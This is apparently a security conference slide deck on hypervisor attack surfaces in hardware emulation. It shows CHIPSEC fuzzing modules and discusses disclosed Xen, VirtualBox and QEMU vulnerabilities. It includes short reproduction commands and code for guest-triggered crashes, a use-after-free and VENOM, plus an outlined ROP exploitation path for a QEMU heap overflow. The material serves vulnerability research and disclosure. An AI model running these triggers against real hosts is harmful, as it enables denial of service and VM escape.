Attacking hypervisors through hardware emulation

**Presenting:** Oleksandr Bazhaniuk (@ABazhaniuk), Mikhail Gorobets (@mikhailgorobets)
Andrew Furtak, Yuriy Bulygin (@c7zero)
Agenda

• Intro to virtualization technology
• Threat model and attack vectors to hypervisor
• Hypervisor issues in hardware emulation
• Hypervisor detection and fingerprinting
• Hypervisor fuzzing by CHIPSEC framework
• Conclusions
Intro to virtualization technology
VMX/VT-x overview

Without Virtualization

- OS manages hardware resources

With Virtualization

- Hypervisor manages hardware resources
- Hypervisor provides isolation level for guest Virtual Machine (VM)

Hypervisor can grant VM direct hardware access
Hypervisor architecture overview

Type 1

- Xen
- VmWare ESX
- Hyper-V

Type 2

- VirtualBox
- KVM
- Parallels
Hypervisor architecture

Hypervisor Code flow:

```c
VMXon
init VMCS
vmlaunch
while(1){
    exit_code = read_exit_code(VMCS)
    switch(exit_code){
        //VM exit handler
        // within VMM context
        vmresume
    }
} VMXoff
```
Basic Hypervisor virtualization components

- CPU virtualization:
  - CPUID
  - MSR
  - IO/PCIe
- Memory virtualization:
  - EPT
  - VT-d
- Device Virtualization:
  - Disk
  - Network
- Hypercall interface
Hypervisor Isolations

Software Isolation
- **CPU / SoC:** traps to hypervisor (*VM Exits*), MSR & I/O permissions bitmaps, rings (PV)...
- **Memory / MMIO:** hardware page tables (e.g. EPT, NPT), software shadow page tables

Devices Isolation
- **CPU / SoC:** interrupt remapping
- **Memory / MMIO:** IOMMU, No-DMA ranges
CPU Virtualization (simplified)

- VMM Host
- VM Guest OS
  - Instructions, exceptions, interrupts...
  - Access to CPU MSRs (e.g. 0x1F2)
  - Access to memory (EPT violations)
  - Access to I/O ports (e.g. 0xB2)
- Hypervisor Traps (VM Exits)
- VM Exit Handler
- VM Control Structure (VMCS)
- MSR Bitmaps
- Extended Page Tables
- I/O Bitmaps
### VMExit

<table>
<thead>
<tr>
<th>Unconditional exit</th>
<th>Conditional exit</th>
</tr>
</thead>
<tbody>
<tr>
<td>• VMX/SVM instructions</td>
<td>• CLTS</td>
</tr>
<tr>
<td>• CPUID</td>
<td>• HLT</td>
</tr>
<tr>
<td>• GETSEC</td>
<td>• IN, INS/INSB/INSW/INSW, OUT, OUTS/OUTSB/OUTSW/OUTSD</td>
</tr>
<tr>
<td>• INVD</td>
<td>• INVLPG</td>
</tr>
<tr>
<td>• XSETBV</td>
<td>• INVPCID</td>
</tr>
<tr>
<td></td>
<td>• LGDT, LIDT, LLDT, LTR, SGDT, SIDT, SLDT, STR</td>
</tr>
<tr>
<td></td>
<td>• LMSW</td>
</tr>
<tr>
<td></td>
<td>• MONITOR/MWAIT</td>
</tr>
<tr>
<td></td>
<td>• MOV from CR3, CR8 / MOV to CR0, CR3, CR4, CR8</td>
</tr>
<tr>
<td></td>
<td>• MOV DR</td>
</tr>
<tr>
<td></td>
<td>• PAUSE</td>
</tr>
<tr>
<td></td>
<td>• RDMSR/WRMSR</td>
</tr>
<tr>
<td></td>
<td>• RDPMC</td>
</tr>
<tr>
<td></td>
<td>• RDRAND</td>
</tr>
<tr>
<td></td>
<td>• RDTSCP</td>
</tr>
<tr>
<td></td>
<td>• RSM</td>
</tr>
<tr>
<td></td>
<td>• WBINVD</td>
</tr>
<tr>
<td></td>
<td>• XRSTORS / XSAVES</td>
</tr>
</tbody>
</table>
VMExit. Continue

Other reasons for VM exit

• Exceptions
• Triple fault
• External interrupts
• Non-maskable interrupts (NMIs)
• INIT signals
• Start-up IPIs (SIPIs)
• Task switches
• System-management interrupts (SMIs)
• VMX-preemption timer
Protecting Memory with HW Assisted Paging

- **VA0** → GPA0
- **VA1** → GPA1
- **VA2** → GPA2
- **VA3** → GPA3
- **VA4** → GPA4
- ... 

- **VM Guest OS**
  - Process Virtual Memory
  - Guest Page Tables
  - CR3

- **Guest Physical Memory**
  - GPA0
  - GPA1
  - GPA2
  - GPA3
  - GPA4
  - GPA5
  - GPA6
  - ...

- **VM Host**
  - Host Physical Memory
  - GPA0 → HPA3
  - GPA2 → HPA5
  - GPA4 → HPA4 (1:1 mapping)
  - GPA6 → block
  - HPA0
  - HPA1
  - HPA2
  - HPA3
  - HPA4
  - HPA5
  - HPA6
  - ...

- **VMCS EPTP**

- **EPT**
Device Virtualization

- Hardware Virtual Machine (HVM) hypervisor interface should fully virtualize HW devices

- Para-virtualization (PV) hypervisor implement interface which used by special driver at Guest OS.
Xen resources virtualization

- Support different virtualization levels
- Para-virtualization better in perspective of performance overhead
- Para-virtualization may minimize attack vector by well defining interface between hypervisor and guest (ring-buffer, FIFO buffer), for example in Hyper-V

Understanding the Virtualization Spectrum
Device pass-through

- Hypervisor may pass-through different type of devices, for example: PCI, USB, VGA
- Hypervisor needs to configure EPT and VTd in order to allow guest to talk to the device directory.
- Pass-through device to the guest is insecure:
  - Some devices might have undocumented direct access to memory (DMA) or other resources
  - Some devices may allow modify firmware on the device.

XSA-124, qsb-017-2015, Following the White Rabbit

- Hyper-V doesn’t allow pass-through device directly to guest.
Legacy vs UEFI BIOS emulation in hypervisors

• All hypervisors emulate legacy BIOS.
  o Limited interfaces
  o Minimum functionality

• Recently majority hypervisors began to support emulation of UEFI based BIOS:
  o Open Virtual Machine Firmware (OVMF) is the UEFI firmware for virtualization environment. [link], [link2].
  o OVMF supports: SecureBoot, internal UEFI shell, …
  o Xen, VirtualBox, QEMU supports OVMF
  o Hyper-V supports UEFI as well, including SecureBoot and internal UEFI shell
Threat model and attack vectors to hypervisor
Where hypervisor is?

- System firmware (BIOS/SMM, EFI) & OS/VMM share access, but not trust.
- Hypervisor can grant VM direct hardware access.
- A specific Peripheral may have its own processor, and its own firmware, which is undetectable by host CPU/OS.
Attack scenarios in virtualization environment

Attacks:
- Guest to Hypervisor (or Host)
- Guest to other Guest
- Guest application to Guest kernel
- Guest (through HW) to Hypervisor (or Host)
- Guest (through HW) to other Guest
Type of attacks in virtualization environment

- Denial of Service
- Information Disclosure
- Privilege escalation
- Detection of virtualization environment
- Issues in guest/host communication
- Issues in virtual device emulation
- Abuse of management layers
- Image parsing
- Snapshot attacks
Virtualization Based Security
Windows 10 Virtualization Based Security (VBS)
Example: bypassing Windows 10 VSM

![Image of a computer screen with terminal output and a window for virtual machine connection. The terminal output includes code and system information related to bypassing Windows 10 Virtualization Security Mechanism (VSM).]
Windows Defender Application Guard

• Application Guard creates a new VM with Windows.

• In isolated VM stored entirely separate copy of the kernel and the minimum Windows Platform Services required to run Microsoft Edge.

• Isolations are based on virtualization technology
Hypervisor issues in hardware emulation
XEN: Hypercall Interface in x86 64-bit mode

Hypercall calling convention

- **RCX** – Call Code
- **RDI** – Input Parameter 1
- **RSI** – Input Parameter 2
- **RDX** – Input Parameter 3
- **R10** – Input Parameter 4
- **R8** – Input Parameter 5

Up to 5 input parameters can be used by hypercall handler.

One input parameter may be a Guest Virtual Address pointing to a hypercall-specific data structure.
Extracting XEN info from within the unprivileged guest

```bash
> python chipsec_main.py -i -m tools.vmm.xen.hypercallfuzz -a info

- Is XEN Hypervisor present?
- XEN Version, Compile Date, Features and other useful information

[x][ Accessibility: 1 ]
[x][ Module: XEN Hypervisor Hypercall Fuzzer
[x][ Accessibility: 1 ]

[CHIPSEC] XEN Hypervisor is present!

<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Version</td>
<td>4.6.0</td>
</tr>
<tr>
<td>Compiler</td>
<td>gcc (Ubuntu 5.4.0-6ubuntu1~16.04.2) 5.4.0 20160609</td>
</tr>
<tr>
<td>Compile by</td>
<td>stefan.bader</td>
</tr>
<tr>
<td>Compile Domain</td>
<td>canonical.com</td>
</tr>
<tr>
<td>Compile Date</td>
<td>Tue Oct 11 17:03:41 UTC 2016</td>
</tr>
<tr>
<td>Capabilities</td>
<td>xen-3.0-x86_64 xen-3.0-x86_32p hvm-3.0-x86_32 hvm-3.0-x86_32p hvm-3.0-x86_64</td>
</tr>
<tr>
<td>Change Set</td>
<td></td>
</tr>
<tr>
<td>Platform Params</td>
<td>FFFF8000000000000</td>
</tr>
<tr>
<td>Features</td>
<td>F0=00000000000002705</td>
</tr>
<tr>
<td>Page size</td>
<td>FFFFFFFFFFFFFFFFFFEA</td>
</tr>
<tr>
<td>Guest Handle</td>
<td>0000000000000000</td>
</tr>
<tr>
<td>Command Line</td>
<td>placeholder no-real-mode edd=off</td>
</tr>
</tbody>
</table>
```
Extracting XEN info from within the unprivileged guest

> python chipsec_main.py -i -m tools.vmm.xen.hypercallfuzz -a info

- All available hypercalls (unavailable return XEN_ERRNO_ENOSYS - Function not implemented)

<table>
<thead>
<tr>
<th>CHIPSEC</th>
<th>*** Hypervisor Hypercall Status Codes ***</th>
</tr>
</thead>
<tbody>
<tr>
<td>HYPERCALL 000c</td>
<td>00000000000000000000</td>
</tr>
<tr>
<td>HYPERCALL 000f</td>
<td>00000000000000000000</td>
</tr>
<tr>
<td>HYPERCALL 0011</td>
<td>00000000000000000000</td>
</tr>
<tr>
<td>HYPERCALL 0012</td>
<td>FFFFFFFFFFFFFF</td>
</tr>
<tr>
<td>HYPERCALL 0014</td>
<td>00000000000000000000</td>
</tr>
<tr>
<td>HYPERCALL 001d</td>
<td>FFFFFFFFFFFFFFFF</td>
</tr>
<tr>
<td>HYPERCALL 0020</td>
<td>FFFFFFFF</td>
</tr>
<tr>
<td>HYPERCALL 0023</td>
<td>FFFFFFFF</td>
</tr>
<tr>
<td>HYPERCALL 0024</td>
<td>FFFFFFFF</td>
</tr>
<tr>
<td>HYPERCALL 0026</td>
<td>FFFFFFFF</td>
</tr>
<tr>
<td>HYPERCALL 0031</td>
<td>FFFFFFFF</td>
</tr>
</tbody>
</table>
Fuzzing XEN hypercalls

> python chipsec_main.py -i -m tools.vmm.xen.hypercallfuzz -a fuzzing,22,1000

- Some hypercalls tend to crash the guest too often
- Most tests fails on sanity checks

[x][ Module: Xen Hypervisor Hypercall Fuzzer
[x][ BadRequest: Invalid argument - XEN_ERRNOEINVAL : 578
[x][ BadRequest: Function not implemented - XEN_ERRNOENOSYS : 170
[x][ Status success - XEN_STATUS_SUCCESS : 114
[x][ BadRequest: No such process - XEN_ERRNOESRCH : 89
[x][ BadRequest: Operation not permitted - XEN_ERRNOEPERM : 49
Use-after-free on XEN Host from the unprivileged guest

To check CVE-2016-7154 run fuzzer as:

```
> python chipsec_main.py -i -m tools.vmm.xen.hypercallfuzz -a fuzzing,20,1000000
```

To reproduce the vulnerability in a clean way:

```python
(args_va, args_pa) = self.cs.mem.alloc_physical_mem(0x1000, 0xFFFFFFFFFFFFFFFF)
self.cs.mem.write_physical_mem(args_pa, 24, '\xFF' * 8 + '\x00' * 16)
self.vmm.hypercall64_five_args(EVENT_CHANNEL_OP, EVTCHOP_INIT_CONTROL, args_va)
self.vmm.hypercall64_five_args(EVENT_CHANNEL_OP, EVTCHOP_INIT_CONTROL, args_va)
```

Turns out when the PFN parameter is invalid, hypercall returns XEN_ERRNO_EINVAL error, but don’t zero out internal pointer.
XSA-188: Use after free in FIFO event channel code

The implementation of EVTCHOP_INIT_CONTROL function of EVENT_CHANNEL_OP hypercall has a vulnerability which can allow unprivileged domain to trigger use-after-free vulnerability at Xen version 4.4:

```c
def cleanup_event_array(struct domain *d)
{
  unsigned int i;

  if ( !d->evtchn_fifo )
    return;

  for ( i = 0; i < EVTCHN_FIFO_MAX_EVENT_ARRAY_PAGES; i++ )
    unmap_guest_page(d->evtchn_fifo->event_array[i]);
  xfree(d->evtchn_fifo);
  d->evtchn_fifo = NULL;  // Fix
}```
Hyper-V: Hypercall Interface in x86 64-bit mode

Memory-based calling convention

- **RCX** - Hypercall Input Value*
- **RDX** - Input Parameters GPA
- **R8** - Output Parameters GPA

Register-based calling convention (Fast Hypercall)

- **RCX** - Hypercall Input Value*
- **RDX** - Input Parameter
- **R8** - Input Parameter
- **XMM0–XMM5** - Input Parameters (XMM Fast Hypercall if uses more than two input parameters)

*Hypercall Input Value includes call code, fast hypercall bit, variable header size, rep count & start index
Extracting Hyper-V info from within the unprivileged guest

```python
> python chipsec_main.py -i -m tools.vmm.hv.hypercallfuzz
```

- Is Hyper-V Hypervisor present?
- Hypervisor Vendor ID Signature, Hyper-V Version, Features, etc

<table>
<thead>
<tr>
<th>CHIPSEC</th>
<th>Hyper-V Hypercall Fuzzing Utility</th>
</tr>
</thead>
<tbody>
<tr>
<td>CHIPSEC</td>
<td>Using existing hypercall page defined by HV_X64_MSR_HYPERCALL</td>
</tr>
<tr>
<td>CHIPSEC</td>
<td>CPUID.1h.0h &gt; Feature Information</td>
</tr>
<tr>
<td>CHIPSEC</td>
<td>EAX: 0x0000306D3 EBX: 0x00010800 ECX: 0xFED83203 EDX: 0x0F8BFBFF</td>
</tr>
<tr>
<td>CHIPSEC</td>
<td>ECX(31) - Hypervisor Present</td>
</tr>
<tr>
<td>CHIPSEC</td>
<td>CPUID.40000000h.0h &gt; Hypervisor CPUID leaf range and vendor ID signature</td>
</tr>
<tr>
<td>CHIPSEC</td>
<td>EAX: 0x40000006 EBX: 0x7263694D ECX: 0x666F736F EDX: 0x76482074</td>
</tr>
<tr>
<td>CHIPSEC</td>
<td>The maximum input value for hypervisor CPUID : 40000006</td>
</tr>
<tr>
<td>CHIPSEC</td>
<td>Hypervisor Vendor ID Signature : Microsoft Hv</td>
</tr>
</tbody>
</table>

| CHIPSEC | CPUID.40000002h.0h > Hypervisor system identity |
| CHIPSEC | EAX: 0x000002580 EBX: 0x00060003 ECX: 0x00000011 EDX: 0x0000428F |
| CHIPSEC | EAX - Build Number : 00002580 |
| CHIPSEC | EBX(31-16) - Major Version : 0006 |
| CHIPSEC | EBX(15-0) - Minor Version : 0003 |
Extracting Hyper-V info from within the unprivileged guest

> python chipsec_main.py -i -m tools.vmm.hv.hypercallfuzz

- 64 Synthetic MSRs
- 74 Hypercalls
- 16 Connections ID, Partitions ID (unavailable in the unprivileged guest)

```
[CHIPSEC] *** Hypervisor Synthetic MSRs ***
[CHIPSEC]  RDMSR [            HV_X64_MSR_GUEST_OS_ID = 0x40000000] : 0x00010406_03002580
[CHIPSEC]  RDMSR [           HV_X64_MSR_HYPERCALL = 0x40000001] : 0x00000000_00004001
[CHIPSEC]  RDMSR [         HV_X64_MSR_VP_INDEX = 0x40000002] : 0x00000000_00000000

[CHIPSEC]  HYPERV_HYPERCALL REP:0 FAST:0 0040 06 HV_STATUS_ACCESS_DENIED 'HvCreatePartition'
[CHIPSEC]  HYPERV_HYPERCALL REP:0 FAST:0 005c 00 HV_STATUS_SUCCESS 'HvPostMessage'
[CHIPSEC]  HYPERV_HYPERCALL REP:0 FAST:1 005d 00 HV_STATUS_SUCCESS 'HvSignalEvent'

[CHIPSEC] *** Hypervisor Connection IDs ***
[CHIPSEC]  00000001 01 HvPortTypeMessage
[CHIPSEC]  00010001 02 HvPortTypeEvent
[CHIPSEC]  00010002 02 HvPortTypeEvent

[CHIPSEC] *** Hypervisor Partition IDs ***
[CHIPSEC]  was not able to determine Partition IDs
```
Hyper-V hypercalls available for fuzzing

Most hypercalls are not accessible from the unprivileged guest.

<table>
<thead>
<tr>
<th>Hyper-V Status in RAX</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>HV_STATUS_SUCCESS</td>
<td>5</td>
</tr>
<tr>
<td>HV_STATUS_ACCESS_DENIED</td>
<td>64</td>
</tr>
<tr>
<td>HV_STATUS_FEATURE_UNAVAILABLE</td>
<td>3</td>
</tr>
</tbody>
</table>

Return HV_STATUS_SUCCESS:
- HvFlushVirtualAddressSpace
- HvFlushVirtualAddressList
- HvNotifyLongSpinWait
- HvPostMessage – covered by our VMBUS fuzzer
- HvSignalEvent – covered by our VMBUS fuzzer
CPU emulation

- Hypervisor needs to emulate MSR and I/O interfaces
- Hypervisor uses MSR and I/O bitmaps to configure which of the MSR and I/O it wants to trap
MSR fuzzer

# chipsec_main.py -i -m tools.vmm.msr_fuzz

Fuzzer covers:
Low MSR range, High MSR range and VMM synthetic MSR range
## Issues in MSR emulation

- **CVE-2015-0377**
  
  Writing arbitrary data to upper 32 bits of `IA32_APIC_BASE` MSR causes VMM and host OS to crash at Oracle VirtualBox 3.2, 4.0.x-4.2.x

  ```
  # chipsec_util.py msr 0x1B 0xFE00900 0xDEADBEEF
  ```

  Discovered by ATR.

- **XSA-108**
  
  A buggy or malicious HVM guest can crash the host or read data relating to other guests or the hypervisor itself by reading MSR from range `[0x100;0x3ff]`

  ```
  # chipsec_util.py msr 0x100
  ```

  Discovered by Jan Beulich
I/O Interface emulation

- Hypervisor trap `in/out` instructions to emulate I/O ports.
- Legacy devices, much as Floppy Disk Controller (FDC) and others communication through I/O ports.
- PCI interface implemented through I/O port `CF8h` and `CFCh`.

```c
case EXIT_REASON_IO INSTRUCTION:
    _vmread(EXIT_QUALIFICATION, &exit_qualification);
    if (exit_qualification & 0x10) {
        /* INS, OUTS */
        if (unlikely(is_pvhs_vcpu(v)) /* PVH fixme */ ||
            !handle_mmi0())
            hvm_inject_hw_exception(TRAP_gp_fault, 0);
    } else {
        /* IN, OUT */
        uint16_t port = (exit_qualification >> 16) & 0xFFFF;
        int bytes = (exit_qualification & 0x07) + 1;
        int dir = (exit_qualification & 0x80) ? IOREQ_READ : IOREQ_WRITE;
        if (handle_pio(port, bytes, dir))
            update_guest_eip(); /* Safe: IN, OUT */
    }
```
Fuzzer covers entire I/O port range with 1000 writes to each port
Venom vulnerability

VENOM vulnerability (discovered by CrowdStrike):

```
# chipsec_main.py -i -m tools.vmm.venom
```

Trigger Venom vulnerability by writing to port 0x3F5 (FDC data) value 0x8E and 0x10000000 of random bytes
Hypervisor device emulation

- HW platform implements PCI bus as a device communication protocol, which hypervisor should emulate.

- In full HVM mode hypervisor should emulate:
  - PCI Express Fabric, which consists of PCIe components connected over PCIe interconnect in a certain topology (e.g. hierarchy)
  - Root Complex is a root component in a hierarchical PCIe topology with one or more PCIe root ports
  - Components: Endpoints (I/O Devices), Switches, PCIe-to-PCI/PCI-X Bridges

- Hypervisor may simplify it by using para-virtualization

- Hypervisor emulates certain amount of devices
**PCIe Config Space Layout**

![PCI Express Configuration Space Layout](image)

*Figure 7-3: PCI Express Configuration Space Layout*

Source: PCI Express Base Specification Revision 3.0
PCI/PCIe Config Space Access

1. Software uses processor I/O ports CF8h (control) and CFCh (data) to access PCI configuration of bus/dev/fun. Address (written to control port) is calculated as:

   \[
   \text{bus} \ll 16 \mid \text{dev} \ll 11 \mid \text{fun} \ll 8 \mid \text{offset} \& \sim 3
   \]

2. Enhanced Configuration Access Mechanism (ECAM) allows accessing PCIe extended configuration space (4kB) beyond PCI config space (256 bytes)
   - Implemented as memory-mapped range in physical address space split into 4kB chunks per B:D.F
   - Register address is a memory address within this range

   MMCFG base + bus*32*8*1000h + dev*8*1000h + fun*1000h + offset
Memory-Mapped I/O

- Devices need more space for registers
- Memory-mapped I/O (MMIO)
- MMIO range is defined by Base Address Registers (BAR) in PCI configuration header
- Access to MMIO ranges forwarded to devices
MMIO vs DRAM

High DRAM

Memory

4GB

Direct-mapped BIOS, APIC, TPM...

Low MMIO

MMIO

BAR 1 – BAR n

Low DRAM

Low MMIO

Memory

Graphics Memory

Top of Low DRAM

SMM Memory

ECAM
**MMIO BARs in the Guest OS of Hyper-V**

```python
# python chipsec_util.py mmio list
```

<table>
<thead>
<tr>
<th>MMIO Range</th>
<th>BAR Register</th>
<th>Base</th>
<th>Size</th>
<th>En?</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>GTTMMADR</td>
<td>00:02.0 + 0x10</td>
<td>00000007FFFFC0000</td>
<td>00001000</td>
<td>1</td>
<td>Graphics Translation Table Range</td>
</tr>
<tr>
<td>GFXVTBAR</td>
<td>GFXVTBAR</td>
<td>0000000000000000</td>
<td>00001000</td>
<td>0</td>
<td>Intel Processor Graphics VT-d RR</td>
</tr>
<tr>
<td>SPIBAR</td>
<td>00:1F.0 + 0xF0</td>
<td>0000000000000000</td>
<td>00001000</td>
<td>1</td>
<td>SPI Controller Register Range</td>
</tr>
<tr>
<td>HDABAR</td>
<td>00:03.0 + 0x10</td>
<td>00000007FFFFF000</td>
<td>00001000</td>
<td>1</td>
<td>HD Audio Controller Register Range</td>
</tr>
<tr>
<td>GMADR</td>
<td>00:02.0 + 0x18</td>
<td>00000007FF800000</td>
<td>00001000</td>
<td>1</td>
<td>Graphics Memory Range</td>
</tr>
<tr>
<td>DMIBAR</td>
<td>00:00.0 + 0x60</td>
<td>0000000202020000</td>
<td>00001000</td>
<td>0</td>
<td>Root Complex Register Range</td>
</tr>
<tr>
<td>MMCFG</td>
<td>00:00.0 + 0x60</td>
<td>0000000202020000</td>
<td>00001000</td>
<td>0</td>
<td>PCI Express Register Range</td>
</tr>
<tr>
<td>RCBA</td>
<td>00:1F.0 + 0xF0</td>
<td>0000000000000000</td>
<td>00001000</td>
<td>0</td>
<td>PCH Root Complex Register Range</td>
</tr>
<tr>
<td>VTBAR</td>
<td>VTBAR</td>
<td>0000000000000000</td>
<td>00001000</td>
<td>0</td>
<td>Intel VT-d Register Register Range</td>
</tr>
<tr>
<td>MCHBAR</td>
<td>00:00.0 + 0x48</td>
<td>0000000000000000</td>
<td>00008000</td>
<td>0</td>
<td>Host Memory Mapped Register Range</td>
</tr>
<tr>
<td>PXPEPBAR</td>
<td>00:00.0 + 0x40</td>
<td>0000000000000000</td>
<td>00001000</td>
<td>0</td>
<td>PCI Express Egress Port RR</td>
</tr>
<tr>
<td>RCBA_RTC</td>
<td>00:1F.0 + 0xF0</td>
<td>0000000000000000</td>
<td>00000200</td>
<td>1</td>
<td>General Control Register Range</td>
</tr>
<tr>
<td>HDBAR</td>
<td>00:1B.0 + 0x10</td>
<td>00000007FFFFFC000</td>
<td>00001000</td>
<td>1</td>
<td>PCH HD Audio Controller RR</td>
</tr>
</tbody>
</table>
MMIO Fuzzer

```
# chipsec_main.py -i -m tools.vmm.pcie_fuzz

[*] running module: chipsec.modules.tools.vmm.pcie_fuzz
[*] Module: PCIe device fuzzer (pass-through devices)
[*] Enumerating available PCIe devices..
[*] About to fuzz the following PCIe devices..

<table>
<thead>
<tr>
<th>BDF</th>
<th>VID:DID</th>
<th>Vendor</th>
<th>Device</th>
</tr>
</thead>
<tbody>
<tr>
<td>00:00.0</td>
<td>8086:7192</td>
<td>Intel Corporation</td>
<td>440BX/ZX chipset Host-to-PCI Bridge</td>
</tr>
<tr>
<td>00:07.0</td>
<td>8086:7110</td>
<td>Intel Corporation</td>
<td>Intel 82371AB/EB PCI to ISA bridge (ISA mode)</td>
</tr>
<tr>
<td>00:07.1</td>
<td>8086:7111</td>
<td>Intel Corporation</td>
<td>Intel(R) 82371AB/EB PCI Bus Master IDE Controller</td>
</tr>
<tr>
<td>00:07.3</td>
<td>8086:7113</td>
<td>Intel Corporation</td>
<td>PIIX4/4E/4M Power Management Controller</td>
</tr>
<tr>
<td>00:08.0</td>
<td>1414:5353</td>
<td>Intel Corporation</td>
<td></td>
</tr>
</tbody>
</table>

[*] Fuzzing device 00:00.0
[*] Discovering MMIO and I/O BARs of the device..
[*] Fuzzing device 00:07.0
[*] Discovering MMIO and I/O BARs of the device..
[*] Fuzzing device 00:07.1
[*] Discovering MMIO and I/O BARs of the device..
[*] Fuzzing device 00:07.3
[*] Discovering MMIO and I/O BARs of the device..
[*] Fuzzing device 00:08.0
[*] Discovering MMIO and I/O BARs of the device..
[*] + 0x10 (F80000000): MMIO BAR at 0x00000000F8000000 (64-bit? 0) with size: 0x04000000. Fuzzing..
[*] Fuzzing MMIO BAR 0x00000000F8000000, size = 0x20000000.
```

Fuzzer supports: aggressive fuzzing, bit flipping, fuzzing just active zone of MMIO range
MMIO Range Relocation

- MMIO ranges can be *relocated* at runtime by the OS
  - OS would write new address in BAR registers

- Certain MMIO ranges cannot be relocated at runtime
  - Fixed (e.g. direct-access BIOS range)
  - Or locked down by the firmware (e.g. MCHBAR)
Guest OS use of device MMIO

Hypervisor emulates configuration of chipset and MMIO of the devices
Hypervisor emulates PCI CFG

OS communicate with devices via MMIO registers

Device 1 PCI CFG
Base Address (BAR)

Device 2 PCI CFG
Base Address (BAR)

Guest Phys Memory
MMIO range of Device 1 (registers)
MMIO range of Device 2 (registers)
OS Memory
MMIO BAR Issue

Malicious Guest OS reallocates MMIO BAR of one device to the address of other Device. Malicious Guest read/write to overlapped MMIO range. Hypervisor may confuse during emulation of these devices.
PCIe overlap fuzzer

#chipsec_main.py -i -m tools.vmm.pcie_overlap_fuzz

[*] running module: chipsec.modules.tools.vmm.pcie_overlap_fuzz

[X] Module: Tool to overlap and fuzz MMIO spaces of available PCIe devices

[*] Enumerating available PCIe devices...
[*] About to fuzz the following PCIe devices...

<table>
<thead>
<tr>
<th>BDF</th>
<th>VID:DID</th>
<th>Vendor</th>
<th>Device</th>
</tr>
</thead>
<tbody>
<tr>
<td>00:00:0</td>
<td>8086:7192</td>
<td>Intel Corporation</td>
<td>440BX/ZX chipset Host-to-PCI Bridge</td>
</tr>
<tr>
<td>00:07:0</td>
<td>8086:7110</td>
<td>Intel Corporation</td>
<td>Intel 82371AB/EB PCI to ISA bridge (ISA mode)</td>
</tr>
<tr>
<td>00:07:1</td>
<td>8086:7111</td>
<td>Intel Corporation</td>
<td>Intel(R) 82371AB/EB PCI Bus Master IDE Controller</td>
</tr>
<tr>
<td>00:07:3</td>
<td>8086:7113</td>
<td>Intel Corporation</td>
<td>PIIX4/4E/4M Power Management Controller</td>
</tr>
<tr>
<td>00:08:0</td>
<td>1414:5353</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

[*] overlapping MMIO bars...

Fuzzer overlapping each with each BARs. Fuzzer supports MMIO fuzzer after overlapping.
Issue in PCIe emulation

- **CVE-2015-4856**
  Read un-initialization memory at on Oracle VirtualBox prior to 4.0.30, 4.1.38, 4.2.30, 4.3.26, 5.0.0 by overlapping MMIO BARs with each other.
  To reproduce issue run:
  ```
  #chipsec_main.py -i -m tools.vmm.pcie_overlap_fuzz
  ```
- Multiple crashes in Parallels Hypervisor at Mac OS X.
- MMIO BAR overlap class vulnerabilities is applicable to BIOS/SMM attacks: BARing the System

Discovered by ATR.
Graphics device emulation

So **Cloudburst** was fixed in VMWare but … QEMU and VirtualBox also emulate VMWare virtual SVGA device.
Guest to Host Memory Corruption

Oracle VirtualBox prior to 4.3.20

CVE-2015-0427
Integer overflow → memory corruption in VMSVGA_FIFOGETCMDBUFFER
Discovered by ATR.

What’s new here ;)?
Ring buffer

- Ring buffer is part of device MMIO used to emulate/implement device communication
- Guest OS uses para-virtualization drivers to talk to device through ring buffer
- Ring buffer may contain fields like address, command, which may cause parsing issues.
Network device emulation issues

- **CVE-2016-4001** [1] [2]
  Buffer overflow in the `stellaris_enet_receive` function in `hw/net/stellaris_enet.c` in QEMU, when the Stellaris ethernet controller is configured to accept large packets, allows remote attackers to cause a denial of service (QEMU crash) via a large packet.

  Can be triggered remotely.

  Discovered by ATR.

- **CVE-2016-4002** [1] [2]
  Buffer overflow in the `mipsnet_receive` function in `hw/net/mipsnet.c` in QEMU, when the guest NIC is configured to accept large packets, allows remote attackers to cause a denial of service (memory corruption and QEMU crash) or possibly execute arbitrary code via a packet larger than 1514 bytes.

  Can be triggered remotely.

  Discovered by ATR.
CVE-2016-4002 analysis

```c
static ssize_t mipsnet_receive(NetClientState *nc, const uint8_t *buf, size_t size)
{
    MIPSnetState *s = qemu_get_nic_opaque(nc);
    trace mipsnet_receive(size);
    if (!mipsnet_can_receive(nc))
        return 0;
    s->busy = 1;
    /* Just accept everything. */
    /* Write packet data. */
    memcpy(s->rx_buffer, buf, size);
    s->rx_count = size;
    s->rx_read = 0;
    /* Now we can signal we have received something. */
    s->intctl |= MIPSNET_INTCTL_RXDONE;
    mipsnet_update_irq(s);
    return size;
}
```

- Malicious Guest controlling: `buf` and `size` (it is NIC package)
- Max size of `rx_buffer` is 1514 bytes
- Heap overflow of `rx_buffer` and corruption MIPSnetState obj

hw/net/mipsnet.c
Exploitation analysis

Heap overflow
Overwrite function pointer

```
typedef struct MIPsNetState {
    SysBusDevice parent_obj;
    uint32_t busy;
    uint32_t rx_count;
    uint32_t tx_count;
    uint32_t tx_written;
    uint32_t txctl;
    uint8_t rx_buffer[MAX_ETH_FRAME_SIZE];
    uint8_t tx_buffer[MAX_ETH_FRAME_SIZE];
    MemoryRegion io;
    NICState *nic;
} MIPsNetState;
```

```
struct NetClientState {
    NetClientInfo *info;
    int link_down;
    QTAILQ_ENTRY(NetClientState) next;
    NetClientState *peer;
    NetQueue *incoming_queue;
    char *name;
    char info_str[256];
    unsigned receive_disabled : 1;
    NetClientDestructor *destructor;
    unsigned int queue_index;
    unsigned rxfilter_notify_enabled:1;
    QTAILQ_HEAD( NetFilterState ) filters;
};
```

```
struct NetQueue {
    void *opaque;
    uint32_t nq_maxlen;
    NetQueueDeliverFunc *deliver;
    QTAILQ_HEAD(packets, NetPacket) packets;
    unsigned delivering : 1;
};
```
Exploitation scenario

- ASLR bypass at QEMU processes by:
  - Breaking hypervisor ASLR using branch target buffer collisions by Felix Wilhelm (@_fel1x)
- Use overwrite function pointer to execute stack pivot gadget, like:
  
  ```asm
  0x00280821: xchg eax, esp ; ret ;  (44 found)
  ```
  
  After `ret` instruction executed control flow will switch to attacker controlled stack
- Use ROP to:
  - call vprotect to set RWX to shellcode memory
  - trigger “call” gadget to execute shellcode, like:
    
    ```asm
    0x0076da74: push rax ; xchg edi, edx ; call rax ;  (1 found)
    ```
Debugging hypervisors
Debug tools

- Build-in debug capabilities: [1], [2]
- Firmware based:
  - Firmware rootkit: [1]
  - Firmware vulnerability
- Exception monitor:
  - Hardware debugger: [1]
  - Nested virtualizations: Libvmi, xenpwn
